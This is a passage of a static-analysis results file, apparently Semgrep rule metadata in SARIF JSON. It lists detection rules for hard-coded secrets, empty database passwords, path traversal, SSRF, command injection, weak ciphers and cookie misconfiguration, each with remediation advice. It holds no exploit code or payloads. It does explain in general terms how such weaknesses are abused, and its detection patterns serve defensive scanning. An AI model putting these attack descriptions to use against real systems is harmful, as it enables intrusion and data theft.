kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","id":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","name":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"help":{"markdown":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet](https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet)\n","text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","id":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","name":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"help":{"markdown":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes","id":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","name":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.no-verify.verify-biometric-changes"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","id":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","name":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","id":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","name":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/arkadiyt/ssrf_filter](https://github.com/arkadiyt/ssrf_filter)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host","id":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","name":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","id":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","name":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false","id":"java.micronaut.audit.cookies.httponly-false.httponly-false","name":"java.micronaut.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","id":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","name":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs","id":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","name":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false","id":"java.micronaut.audit.cookies.secure-false.secure-false","name":"java.micronaut.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","id":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","name":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"help":{"markdown":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked](https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked)\n","text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","id":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","name":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"help":{"markdown":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"helpUri":"https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","id":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","name":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n","text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","id":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","name":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","id":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","name":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule has been deprecated."},"help":{"markdown":"This rule has been deprecated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"This rule has been deprecated."},"helpUri":"https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint","id":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","name":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.ssrf.http-ssrf-taint.http-ssrf-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis stream is encrypted at rest using 